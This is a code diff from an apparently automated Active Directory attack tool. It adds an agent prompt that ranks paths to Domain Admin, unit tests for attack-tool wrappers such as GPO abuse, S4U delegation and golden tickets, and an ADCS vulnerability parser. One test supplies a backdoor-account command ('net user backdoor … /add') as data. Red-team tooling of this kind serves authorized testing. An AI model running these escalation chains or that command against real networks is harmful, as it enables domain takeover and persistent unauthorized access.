Create executive summary including: **Path to Domain Admin (in order of preference):** +{% if technique_priorities -%} +The operator strategy has configured the following technique priority ordering. +**Lower weight = higher priority. Exploit techniques in this order.** + +| Weight | Technique | Description | +|--------|-----------|-------------| +{% for entry in technique_priorities -%} +| {{ entry.1 }} | {{ entry.0 }} | {% if entry.0 == "dc_secretsdump" %}secretsdump on domain controllers{% elif entry.0 == "golden_ticket" %}Kerberos golden ticket forgery{% elif entry.0 == "forest_trust_escalation" %}cross-forest trust key exploitation{% elif entry.0 == "child_to_parent" %}ExtraSid child-to-parent escalation{% elif entry.0 == "secretsdump" %}hash dump on member servers{% elif entry.0 == "credential_reuse" %}cross-domain hash reuse{% elif entry.0 == "mssql_access" %}MSSQL service exploitation{% elif entry.0 == "mssql_linked_server" %}MSSQL linked server pivoting{% elif entry.0 == "mssql_impersonation" %}MSSQL EXECUTE AS escalation{% elif entry.0 == "constrained_delegation" %}S4U2Self/S4U2Proxy abuse{% elif entry.0 == "unconstrained_delegation" %}TGT capture via coercion{% elif entry.0 == "rbcd" %}resource-based constrained delegation{% elif entry.0 == "esc1" %}ADCS ESC1 (enrollee supplies SAN){% elif entry.0 == "esc4" %}ADCS ESC4 (template owner can modify){% elif entry.0 == "esc8" %}ADCS ESC8 (HTTP enrollment + relay){% elif entry.0 == "acl_abuse" %}AD ACL chain exploitation{% elif entry.0 == "kerberoast" %}SPN-based hash extraction{% elif entry.0 == "asrep_roast" %}AS-REP roasting (no-preauth accounts){% elif entry.0 == "password_spray" %}password spraying / username-as-password{% elif entry.0 == "gmsa" %}gMSA password extraction{% elif entry.0 == "low_hanging_fruit" %}LDAP descriptions, SYSVOL, GPP, LAPS{% elif entry.0 == "smb_signing_disabled" %}NTLM relay via unsigned SMB{% elif entry.0 == "domain_admin" %}domain admin credential use{% else %}{{ entry.0 }}{% endif %} | +{% endfor -%} + +{% else -%} | Priority | Attack Path | Tools | |----------|-------------|-------| | 0 | Low-hanging fruit | ldap_search_descriptions, username_as_password, password_spray, password_policy | @@ -308,6 +319,7 @@ Create executive summary including: | 15 | Golden ticket | generate_golden_ticket → secretsdump all DCs | | 16 | LAPS | laps_dump → local admin access | +{% endif -%} **If one path fails, IMMEDIATELY try the next.** ## NOTES diff --git a/ares-tools/src/acl.rs b/ares-tools/src/acl.rs index 8367c58c..f7e58e6e 100644 --- a/ares-tools/src/acl.rs +++ b/ares-tools/src/acl.rs @@ -332,6 +332,10 @@ pub async fn dacl_edit(args: &Value) -> Result { #[cfg(test)] mod tests { use super::*; + use crate::args::{optional_bool, optional_str, required_str}; + use serde_json::json; + + // ── domain_to_base_dn ────────────────────────────────────────────── #[test] fn test_domain_to_base_dn_simple() { @@ -351,6 +355,19 @@ mod tests { assert_eq!(domain_to_base_dn("local"), "DC=local"); } + #[test] + fn test_domain_to_base_dn_fabrikam() { + assert_eq!(domain_to_base_dn("fabrikam.local"), "DC=fabrikam,DC=local"); + } + + #[test] + fn test_domain_to_base_dn_deep_nesting() { + assert_eq!( + domain_to_base_dn("sub.child.contoso.local"), + "DC=sub,DC=child,DC=contoso,DC=local" + ); + } + #[test] fn test_adminsd_holder_dn_format() { let domain = "contoso.local"; @@ -358,4 +375,469 @@ mod tests { let adminsd_dn = format!("CN=AdminSDHolder,CN=System,{base_dn}"); assert_eq!(adminsd_dn, "CN=AdminSDHolder,CN=System,DC=contoso,DC=local"); } + + #[test] + fn test_adminsd_holder_dn_fabrikam() { + let base_dn = domain_to_base_dn("fabrikam.local"); + let adminsd_dn = format!("CN=AdminSDHolder,CN=System,{base_dn}"); + assert_eq!( + adminsd_dn, + "CN=AdminSDHolder,CN=System,DC=fabrikam,DC=local" + ); + } + + // ── bloodyad_add_group_member arg validation ─────────────────────── + + #[test] + fn test_bloodyad_add_group_member_missing_domain() { + let args = json!({ + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "group": "Domain Admins", + "target_user": "jsmith" + }); + assert!(required_str(&args, "domain").is_err()); + } + + #[test] + fn test_bloodyad_add_group_member_all_args_parse() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "group": "Domain Admins", + "target_user": "jsmith" + }); + assert_eq!(required_str(&args, "domain").unwrap(), "contoso.local"); + assert_eq!(required_str(&args, "username").unwrap(), "admin"); + assert_eq!(required_str(&args, "password").unwrap(), "P@ssw0rd!"); + assert_eq!(required_str(&args, "dc_ip").unwrap(), "192.168.58.10"); + assert_eq!(required_str(&args, "group").unwrap(), "Domain Admins"); + assert_eq!(required_str(&args, "target_user").unwrap(), "jsmith"); + } + + // ── bloodyad_set_password arg validation ─────────────────────────── + + #[test] + fn test_bloodyad_set_password_missing_new_password() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "target_user": "victim" + }); + assert!(required_str(&args, "new_password").is_err()); + } + + #[test] + fn test_bloodyad_set_password_all_args_parse() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "target_user": "victim", + "new_password": "NewP@ss123!" + }); + assert_eq!(required_str(&args, "target_user").unwrap(), "victim"); + assert_eq!(required_str(&args, "new_password").unwrap(), "NewP@ss123!"); + } + + // ── bloodyad_add_genericall arg validation ───────────────────────── + + #[test] + fn test_bloodyad_genericall_missing_target_dn() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "principal": "jsmith" + }); + assert!(required_str(&args, "target_dn").is_err()); + } + + #[test] + fn test_bloodyad_genericall_all_args() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "target_dn": "CN=Users,DC=contoso,DC=local", + "principal": "jsmith" + }); + assert_eq!( + required_str(&args, "target_dn").unwrap(), + "CN=Users,DC=contoso,DC=local" + ); + assert_eq!(required_str(&args, "principal").unwrap(), "jsmith"); + } + + // ── adminsd_holder_add_ace arg validation ────────────────────────── + + #[test] + fn test_adminsd_holder_right_default() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "principal": "jsmith" + }); + let right = optional_str(&args, "right").unwrap_or("FullControl"); + assert_eq!(right, "FullControl"); + } + + #[test] + fn test_adminsd_holder_custom_right() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "principal": "jsmith", + "right": "WriteProperty" + }); + let right = optional_str(&args, "right").unwrap_or("FullControl"); + assert_eq!(right, "WriteProperty"); + } + + #[test] + fn test_adminsd_holder_dn_construction() { + let domain = "contoso.local"; + let base_dn = domain_to_base_dn(domain); + let adminsd_dn = format!("CN=AdminSDHolder,CN=System,{base_dn}"); + assert!(adminsd_dn.starts_with("CN=AdminSDHolder,CN=System,DC=")); + assert!(adminsd_dn.ends_with("DC=local")); + } + + // ── gmsa_read_password arg validation ────────────────────────────── + + #[test] + fn test_gmsa_read_password_missing_account() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10" + }); + assert!(required_str(&args, "gmsa_account").is_err()); + } + + #[test] + fn test_gmsa_read_password_args() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "gmsa_account": "svc_web$" + }); + assert_eq!(required_str(&args, "gmsa_account").unwrap(), "svc_web$"); + } + + // ── pywhisker arg validation ─────────────────────────────────────── + + #[test] + fn test_pywhisker_default_action() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "target_samaccountname": "dc01$" + }); + let action = optional_str(&args, "action").unwrap_or("list"); + assert_eq!(action, "list"); + } + + #[test] + fn test_pywhisker_custom_action() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "target_samaccountname": "dc01$", + "action": "add" + }); + let action = optional_str(&args, "action").unwrap_or("list"); + assert_eq!(action, "add"); + } + + #[test] + fn test_pywhisker_missing_target_sam() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10" + }); + assert!(required_str(&args, "target_samaccountname").is_err()); + } + + // ── targeted_kerberoast arg validation ───────────────────────────── + + #[test] + fn test_targeted_kerberoast_missing_target_user() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10" + }); + assert!(required_str(&args, "target_user").is_err()); + } + + #[test] + fn test_targeted_kerberoast_args() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "target_user": "svc_sql" + }); + assert_eq!(required_str(&args, "target_user").unwrap(), "svc_sql"); + } + + // ── sharpgpoabuse arg validation ─────────────────────────────────── + + #[test] + fn test_sharpgpoabuse_default_action() { + let args = json!({ + "gpo_name": "Default Domain Policy", + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10" + }); + let action = optional_str(&args, "action").unwrap_or("AddLocalAdmin"); + assert_eq!(action, "AddLocalAdmin"); + let action_flag = format!("--{action}"); + assert_eq!(action_flag, "--AddLocalAdmin"); + } + + #[test] + fn test_sharpgpoabuse_user_to_add_default_fallback() { + let args = json!({ + "gpo_name": "Default Domain Policy", + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10" + }); + let username = required_str(&args, "username").unwrap(); + let user_to_add = optional_str(&args, "user_to_add").unwrap_or(username); + assert_eq!(user_to_add, "admin"); + } + + #[test] + fn test_sharpgpoabuse_explicit_user_to_add() { + let args = json!({ + "gpo_name": "Default Domain Policy", + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "user_to_add": "jsmith" + }); + let username = required_str(&args, "username").unwrap(); + let user_to_add = optional_str(&args, "user_to_add").unwrap_or(username); + assert_eq!(user_to_add, "jsmith"); + } + + #[test] + fn test_sharpgpoabuse_computer_target_optional() { + let args = json!({ + "gpo_name": "Default Domain Policy", + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "computer_target": "ws01.contoso.local" + }); + assert_eq!( + optional_str(&args, "computer_target"), + Some("ws01.contoso.local") + ); + } + + #[test] + fn test_sharpgpoabuse_computer_target_absent() { + let args = json!({ + "gpo_name": "Default Domain Policy", + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10" + }); + assert!(optional_str(&args, "computer_target").is_none()); + } + + // ── pygpoabuse_immediate_task arg validation ─────────────────────── + + #[test] + fn test_pygpoabuse_default_taskname() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "gpo_id": "{6AC1786C-016F-11D2-945F-00C04fB984F9}", + "command": "net user backdoor P@ssw0rd! /add", + "dc_ip": "192.168.58.10" + }); + let task_name = optional_str(&args, "task_name").unwrap_or("WindowsUpdate"); + assert_eq!(task_name, "WindowsUpdate"); + } + + #[test] + fn test_pygpoabuse_default_force() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "gpo_id": "{6AC1786C-016F-11D2-945F-00C04fB984F9}", + "command": "whoami", + "dc_ip": "192.168.58.10" + }); + let force = optional_bool(&args, "force").unwrap_or(true); + assert!(force); + } + + #[test] + fn test_pygpoabuse_force_false() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "gpo_id": "{6AC1786C-016F-11D2-945F-00C04fB984F9}", + "command": "whoami", + "dc_ip": "192.168.58.10", + "force": false + }); + let force = optional_bool(&args, "force").unwrap_or(true); + assert!(!force); + } + + #[test] + fn test_pygpoabuse_missing_gpo_id() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "command": "whoami", + "dc_ip": "192.168.58.10" + }); + assert!(required_str(&args, "gpo_id").is_err()); + } + + // ── dacl_edit arg validation ─────────────────────────────────────── + + #[test] + fn test_dacl_edit_default_action() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "principal": "jsmith", + "rights": "FullControl", + "target_dn": "CN=Users,DC=contoso,DC=local" + }); + let action = optional_str(&args, "action").unwrap_or("write"); + assert_eq!(action, "write"); + } + + #[test] + fn test_dacl_edit_custom_action() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "principal": "jsmith", + "rights": "FullControl", + "target_dn": "CN=Users,DC=contoso,DC=local", + "action": "restore" + }); + let action = optional_str(&args, "action").unwrap_or("write"); + assert_eq!(action, "restore"); + } + + #[test] + fn test_dacl_edit_missing_rights() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "principal": "jsmith", + "target_dn": "CN=Users,DC=contoso,DC=local" + }); + assert!(required_str(&args, "rights").is_err()); + } + + #[test] + fn test_dacl_edit_missing_principal() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10", + "rights": "FullControl", + "target_dn": "CN=Users,DC=contoso,DC=local" + }); + assert!(required_str(&args, "principal").is_err()); + } + + // ── credential helper integration ────────────────────────────────── + + #[test] + fn test_bloodyad_creds_format() { + let creds = + credentials::bloodyad_creds("contoso.local", "admin", "P@ssw0rd!", "192.168.58.10"); + assert_eq!( + creds, + vec![ + "-d", + "contoso.local", + "-u", + "admin", + "-p", + "P@ssw0rd!", + "--host", + "192.168.58.10" + ] + ); + } + + #[test] + fn test_impacket_target_with_domain_and_password() { + let target = credentials::impacket_target( + Some("contoso.local"), + "admin", + Some("P@ssw0rd!"), + "contoso.local", + ); + assert_eq!(target, "contoso.local/admin:P@ssw0rd!@contoso.local"); + } + + #[test] + fn test_impacket_target_without_password() { + let target = + credentials::impacket_target(Some("contoso.local"), "admin", None, "contoso.local"); + assert_eq!(target, "contoso.local/admin@contoso.local"); + } + + #[test] + fn test_impacket_target_without_domain() { + let target = + credentials::impacket_target(None, "admin", Some("P@ssw0rd!"), "192.168.58.10"); + assert_eq!(target, "admin:P@ssw0rd!@192.168.58.10"); + } } diff --git a/ares-tools/src/parsers/certipy.rs b/ares-tools/src/parsers/certipy.rs index f40c299a..19c508d5 100644 --- a/ares-tools/src/parsers/certipy.rs +++ b/ares-tools/src/parsers/certipy.rs @@ -2,6 +2,12 @@ use serde_json::{json, Value}; +/// All ESC types that certipy can detect. +const ESC_TYPES: &[&str] = &[ + "esc1", "esc2", "esc3", "esc4", "esc5", "esc6", "esc7", "esc8", "esc9", "esc10", "esc11", + "esc13", "esc14", "esc15", +]; + pub fn parse_certipy_find(output: &str, params: &Value) -> Vec { let target_ip = params .get("target") @@ -9,21 +15,59 @@ pub fn parse_certipy_find(output: &str, params: &Value) -> Vec { .and_then(|v| v.as_str()) .unwrap_or(""); - let mut vulns = Vec::new(); + let domain = params.get("domain").and_then(|v| v.as_str()).unwrap_or(""); + + // Extract CA name from output if present (e.g. "CA Name: ESSOS-CA") + let ca_name = extract_ca_name(output); + let mut vulns = Vec::new(); let output_lower = output.to_lowercase(); - for esc_type in &["esc1", "esc4", "esc8"] { - if output_lower.contains("[!] vulnerabilities") && output_lower.contains(esc_type) { + // Strategy 1: Look for "[!] Vulnerabilities" section (certipy text output) + let has_vuln_header = output_lower.contains("[!] vulnerabilities"); + + // Strategy 2: Look for "ESCn :" patterns (certipy find -vulnerable output) + // These appear as "ESC1 : 'DOMAIN\\Group' can enroll..." + for esc_type in ESC_TYPES { + let found = if has_vuln_header { + // Standard certipy output with vulnerability section + output_lower.contains(esc_type) + } else { + // Also detect ESC patterns without the header — certipy sometimes + // outputs vulnerability info inline with template details. + // Look for "ESCn" followed by ":" or "vulnerability" on the same or + // nearby lines. + let esc_upper = esc_type.to_uppercase(); + output.contains(&format!("{esc_upper} :")) + || output.contains(&format!("{esc_upper}:")) + || (output_lower.contains(esc_type) && output_lower.contains("vulnerab")) + }; + + if found { + // Extract template name if available (e.g., "Template Name : ESC1") + let template_name = extract_template_for_esc(output, esc_type); + + let mut details = json!({ + "esc_type": esc_type, + }); + if !domain.is_empty() { + details["domain"] = json!(domain); + } + if let Some(ref ca) = ca_name { + details["ca_name"] = json!(ca); + } + if let Some(ref tmpl) = template_name { + details["template_name"] = json!(tmpl); + } + vulns.push(json!({ "vuln_id": format!("adcs_{}_{}", esc_type, target_ip), "vuln_type": format!("adcs_{}", esc_type), "target": target_ip, "discovered_by": "certipy_find", - "details": { - "esc_type": esc_type, - }, + "details": details, "recommended_agent": "privesc", + "priority": esc_priority(esc_type), })); } } @@ -31,6 +75,57 @@ pub fn parse_certipy_find(output: &str, params: &Value) -> Vec { vulns } +/// Extract CA name from certipy output. +fn extract_ca_name(output: &str) -> Option { + for line in output.lines() { + let trimmed = line.trim(); + if let Some(rest) = trimmed.strip_prefix("CA Name") { + let name = rest.trim_start_matches(|c: char| c == ':' || c.is_whitespace()); + if !name.is_empty() { + return Some(name.to_string()); + } + } + } + None +} + +/// Extract template name associated with an ESC type. +fn extract_template_for_esc(output: &str, esc_type: &str) -> Option { + let esc_upper = esc_type.to_uppercase(); + let lines: Vec<&str> = output.lines().collect(); + for (i, line) in lines.iter().enumerate() { + if line.contains(&esc_upper) { + // Look backwards for "Template Name" line + for j in (0..i).rev() { + let prev = lines[j].trim(); + if let Some(rest) = prev.strip_prefix("Template Name") { + let name = rest.trim_start_matches(|c: char| c == ':' || c.is_whitespace()); + if !name.is_empty() { + return Some(name.to_string()); + } + } + // Don't look back more than 20 lines + if i - j > 20 { + break; + } + } + } + } + None +} + +/// Priority for ESC types (lower = more urgent). +fn esc_priority(esc_type: &str) -> i32 { + match esc_type { + "esc1" | "esc6" => 1, // Direct enrollment → DA cert + "esc4" | "esc8" => 2, // Template abuse / relay + "esc2" | "esc3" => 3, // Certificate agent + "esc7" | "esc9" => 4, // ManageCA / UPN spoof + "esc5" => 5, // Golden cert (requires CA compromise first) + _ => 6, // ESC10-15 and unknown + } +} + #[cfg(test)] mod tests { use super::*; @@ -39,11 +134,12 @@ mod tests { #[test] fn test_parse_certipy_esc1() { let output = "[!] Vulnerabilities\nESC1: Template allows enrollment with low-priv"; - let params = json!({"target": "192.168.58.10"}); + let params = json!({"target": "192.168.58.10", "domain": "contoso.local"}); let vulns = parse_certipy_find(output, ¶ms); assert_eq!(vulns.len(), 1); assert_eq!(vulns[0]["vuln_type"], "adcs_esc1"); assert_eq!(vulns[0]["target"], "192.168.58.10"); + assert_eq!(vulns[0]["details"]["domain"], "contoso.local"); } #[test] @@ -64,9 +160,10 @@ mod tests { #[test] fn test_parse_certipy_no_vulnerabilities_keyword() { - let output = "ESC1: Template allows enrollment"; + // Without [!] Vulnerabilities header, only "ESCn :" pattern matches + let output = "ESC1 : Template allows enrollment"; let vulns = parse_certipy_find(output, &json!({"target": "192.168.58.10"})); - assert!(vulns.is_empty()); + assert_eq!(vulns.len(), 1); } #[test] @@ -89,4 +186,155 @@ mod tests { let vulns = parse_certipy_find(output, ¶ms); assert_eq!(vulns[0]["vuln_id"], "adcs_esc4_192.168.58.20"); } + + #[test] + fn test_parse_certipy_extended_esc_types() { + let output = "[!] Vulnerabilities\nESC1: ...\nESC6: EDITF flag\nESC9: UPN spoof\nESC13: issuance policy"; + let params = json!({"target_ip": "192.168.58.10"}); + let vulns = parse_certipy_find(output, ¶ms); + assert_eq!(vulns.len(), 4); + let types: Vec<&str> = vulns + .iter() + .map(|v| v["vuln_type"].as_str().unwrap()) + .collect(); + assert!(types.contains(&"adcs_esc6")); + assert!(types.contains(&"adcs_esc9")); + assert!(types.contains(&"adcs_esc13")); + } + + #[test] + fn test_parse_certipy_with_ca_name() { + let output = "CA Name : ESSOS-CA\n[!] Vulnerabilities\nESC1: enrollee supplies subject"; + let params = json!({"target": "192.168.58.10", "domain": "essos.local"}); + let vulns = parse_certipy_find(output, ¶ms); + assert_eq!(vulns.len(), 1); + assert_eq!(vulns[0]["details"]["ca_name"], "ESSOS-CA"); + assert_eq!(vulns[0]["details"]["domain"], "essos.local"); + } + + #[test] + fn test_parse_certipy_inline_pattern() { + // certipy find -vulnerable output format + let output = " ESC1 : 'ESSOS.LOCAL\\Domain Users' can enroll, enrollee supplies subject"; + let params = json!({"target": "192.168.58.10"}); + let vulns = parse_certipy_find(output, ¶ms); + assert_eq!(vulns.len(), 1); + assert_eq!(vulns[0]["vuln_type"], "adcs_esc1"); + } + + #[test] + fn test_esc_priority_ordering() { + assert!(esc_priority("esc1") < esc_priority("esc4")); + assert!(esc_priority("esc4") < esc_priority("esc5")); + } + + #[test] + fn test_esc_priority_all_values() { + assert_eq!(esc_priority("esc1"), 1); + assert_eq!(esc_priority("esc6"), 1); + assert_eq!(esc_priority("esc4"), 2); + assert_eq!(esc_priority("esc8"), 2); + assert_eq!(esc_priority("esc2"), 3); + assert_eq!(esc_priority("esc3"), 3); + assert_eq!(esc_priority("esc7"), 4); + assert_eq!(esc_priority("esc9"), 4); + assert_eq!(esc_priority("esc5"), 5); + assert_eq!(esc_priority("esc10"), 6); + assert_eq!(esc_priority("esc11"), 6); + assert_eq!(esc_priority("esc13"), 6); + assert_eq!(esc_priority("unknown"), 6); + } + + #[test] + fn test_extract_ca_name_standard() { + let output = + "CA Name : CONTOSO-CA\nDNS Name : ca01.contoso.local"; + assert_eq!(extract_ca_name(output), Some("CONTOSO-CA".to_string())); + } + + #[test] + fn test_extract_ca_name_no_spaces() { + let output = "CA Name:MYCA\nother line"; + assert_eq!(extract_ca_name(output), Some("MYCA".to_string())); + } + + #[test] + fn test_extract_ca_name_missing() { + assert_eq!(extract_ca_name("No CA info here"), None); + assert_eq!(extract_ca_name(""), None); + } + + #[test] + fn test_extract_ca_name_empty_value() { + assert_eq!(extract_ca_name("CA Name : "), None); + } + + #[test] + fn test_extract_template_for_esc() { + let output = "Template Name : VulnTemplate\n Permissions\n ESC1 : 'DOMAIN\\Users' can enroll"; + assert_eq!( + extract_template_for_esc(output, "esc1"), + Some("VulnTemplate".to_string()) + ); + } + + #[test] + fn test_extract_template_for_esc_not_found() { + let output = "ESC1 : 'DOMAIN\\Users' can enroll"; + assert_eq!(extract_template_for_esc(output, "esc1"), None); + } + + #[test] + fn test_extract_template_for_esc_multiple_templates() { + let output = "Template Name : Template1\n ESC4 : misconfigured\nTemplate Name : Template2\n ESC1 : enrollable"; + // ESC4 should get Template1 + assert_eq!( + extract_template_for_esc(output, "esc4"), + Some("Template1".to_string()) + ); + // ESC1 should get Template2 + assert_eq!( + extract_template_for_esc(output, "esc1"), + Some("Template2".to_string()) + ); + } + + #[test] + fn test_esc_types_constant() { + assert_eq!(ESC_TYPES.len(), 14); + assert!(ESC_TYPES.contains(&"esc1")); + assert!(ESC_TYPES.contains(&"esc8")); + assert!(ESC_TYPES.contains(&"esc13")); + assert!(ESC_TYPES.contains(&"esc15")); + assert!(!ESC_TYPES.contains(&"esc12")); + assert!(!ESC_TYPES.contains(&"esc16")); + } + + #[test] + fn test_parse_certipy_with_template_name() { + let output = "Template Name : ESC1-Vuln\n [!] Vulnerabilities\n ESC1 : 'CONTOSO\\Users' can enroll"; + let params = json!({"target": "192.168.58.10", "domain": "contoso.local"}); + let vulns = parse_certipy_find(output, ¶ms); + assert_eq!(vulns.len(), 1); + assert_eq!(vulns[0]["details"]["template_name"], "ESC1-Vuln"); + } + + #[test] + fn test_parse_certipy_vulnerability_inline_keyword() { + // "vulnerab" keyword present alongside ESC type but no [!] Vulnerabilities header + let output = "Certificate template is vulnerable to ESC1 attack"; + let params = json!({"target": "192.168.58.10"}); + let vulns = parse_certipy_find(output, ¶ms); + assert_eq!(vulns.len(), 1); + } + + #[test] + fn test_parse_certipy_colon_format() { + // "ESC8:" format without spaces + let output = "ESC8:web enrollment enabled"; + let params = json!({"target": "192.168.58.10"}); + let vulns = parse_certipy_find(output, ¶ms); + assert_eq!(vulns.len(), 1); + assert_eq!(vulns[0]["vuln_type"], "adcs_esc8"); + } } diff --git a/ares-tools/src/privesc/delegation.rs b/ares-tools/src/privesc/delegation.rs index b1e29690..23229043 100644 --- a/ares-tools/src/privesc/delegation.rs +++ b/ares-tools/src/privesc/delegation.rs @@ -223,3 +223,488 @@ pub async fn raise_child(args: &Value) -> Result { // raiseChild performs multiple secretsdumps internally — needs extra time cmd.timeout_secs(300).execute().await } + +// ─── Tests ────────────────────────────────────────────────────────────────── + +#[cfg(test)] +mod tests { + use crate::args::{optional_str, required_str}; + use crate::credentials; + use serde_json::json; + + // ── find_delegation arg validation ────────────────────────────────── + + #[test] + fn test_find_delegation_requires_domain() { + let args = json!({ + "username": "admin", + "dc_ip": "192.168.58.10", + "password": "P@ssw0rd!" + }); + assert!(required_str(&args, "domain").is_err()); + } + + #[test] + fn test_find_delegation_requires_username() { + let args = json!({ + "domain": "contoso.local", + "dc_ip": "192.168.58.10", + "password": "P@ssw0rd!" + }); + assert!(required_str(&args, "username").is_err()); + } + + #[test] + fn test_find_delegation_requires_dc_ip() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!" + }); + assert!(required_str(&args, "dc_ip").is_err()); + } + + #[test] + fn test_find_delegation_with_password() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "password": "P@ssw0rd!", + "dc_ip": "192.168.58.10" + }); + let domain = required_str(&args, "domain").unwrap(); + let username = required_str(&args, "username").unwrap(); + let password = optional_str(&args, "password"); + assert_eq!(domain, "contoso.local"); + assert_eq!(username, "admin"); + assert_eq!(password, Some("P@ssw0rd!")); + } + + #[test] + fn test_find_delegation_with_hash() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "hash": "aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0", + "dc_ip": "192.168.58.10" + }); + let hash = optional_str(&args, "hash").unwrap(); + let hash_args = credentials::hash_args(hash); + assert_eq!(hash_args[0], "-hashes"); + // Hash already has colon, should be passed as-is + assert!(hash_args[1].contains(':')); + } + + #[test] + fn test_find_delegation_requires_password_or_hash() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "dc_ip": "192.168.58.10" + }); + let password = optional_str(&args, "password"); + let hash = optional_str(&args, "hash"); + assert!(password.is_none()); + assert!(hash.is_none()); + } + + // ── find_delegation integration error ────────────────────────────── + + #[test] + fn test_find_delegation_no_auth_errors() { + let args = json!({ + "domain": "contoso.local", + "username": "admin", + "dc_ip": "192.168.58.10" + }); + let rt = tokio::runtime::Runtime::new().unwrap(); + let result = rt.block_on(super::find_delegation(&args)); + // Should bail with "requires either password or hash" + assert!(result.is_err()); + assert!(result.unwrap_err().to_string().contains("password or hash")); + } + + // ── s4u_attack arg validation ────────────────────────────────────── + + #[test] + fn test_s4u_attack_requires_target_spn() { + let args = json!({ + "domain": "contoso.local", + "username": "svc_web$", + "password": "P@ssw0rd!", + "impersonate": "Administrator" + }); + assert!(required_str(&args, "target_spn").is_err()); + } + + #[test] + fn test_s4u_attack_requires_impersonate() { + let args = json!({ + "domain": "contoso.local", + "username": "svc_web$", + "password": "P@ssw0rd!", + "target_spn": "cifs/dc01.contoso.local" + }); + assert!(required_str(&args, "impersonate").is_err()); + } + + #[test] + fn test_s4u_attack_all_args() { + let args = json!({ + "domain": "contoso.local", + "username": "svc_web$", + "password": "P@ssw0rd!", + "target_spn": "cifs/dc01.contoso.local", + "impersonate": "Administrator", + "dc_ip": "192.168.58.10" + }); + assert_eq!(required_str(&args, "domain").unwrap(), "contoso.local"); + assert_eq!( + required_str(&args, "target_spn").unwrap(), + "cifs/dc01.contoso.local" + ); + assert_eq!(required_str(&args, "impersonate").unwrap(), "Administrator"); + assert_eq!(optional_str(&args, "dc_ip"), Some("192.168.58.10")); + } + + #[test] + fn test_s4u_attack_no_auth_errors() { + let args = json!({ + "domain": "contoso.local", + "username": "svc_web$", + "target_spn": "cifs/dc01.contoso.local", + "impersonate": "Administrator" + }); + let rt = tokio::runtime::Runtime::new().unwrap(); + let result = rt.block_on(super::s4u_attack(&args)); + assert!(result.is_err()); + assert!(result.unwrap_err().to_string().contains("password or hash")); + } + + // ── generate_golden_ticket arg validation ────────────────────────── + + #[test] + fn test_golden_ticket_requires_krbtgt_hash() { + let args = json!({ + "domain_sid": "S-1-5-21-1234567890-987654321-1122334455", + "domain": "contoso.local" + }); + assert!(required_str(&args, "krbtgt_hash").is_err()); + } + + #[test] + fn test_golden_ticket_requires_domain_sid() { + let args = json!({ + "krbtgt_hash": "31d6cfe0d16ae931b73c59d7e0c089c0", + "domain": "contoso.local" + }); + assert!(required_str(&args, "domain_sid").is_err()); + } + + #[test] + fn test_golden_ticket_default_username() { + let args = json!({ + "krbtgt_hash": "31d6cfe0d16ae931b73c59d7e0c089c0", + "domain_sid": "S-1-5-21-1234567890-987654321-1122334455", + "domain": "contoso.local" + }); + let username = optional_str(&args, "username").unwrap_or("Administrator"); + assert_eq!(username, "Administrator"); + } + + #[test] + fn test_golden_ticket_custom_username() { + let args = json!({ + "krbtgt_hash": "31d6cfe0d16ae931b73c59d7e0c089c0", + "domain_sid": "S-1-5-21-1234567890-987654321-1122334455", + "domain": "contoso.local", + "username": "fakeadmin" + }); + let username = optional_str(&args, "username").unwrap_or("Administrator"); + assert_eq!(username, "fakeadmin"); + } + + #[test] + fn 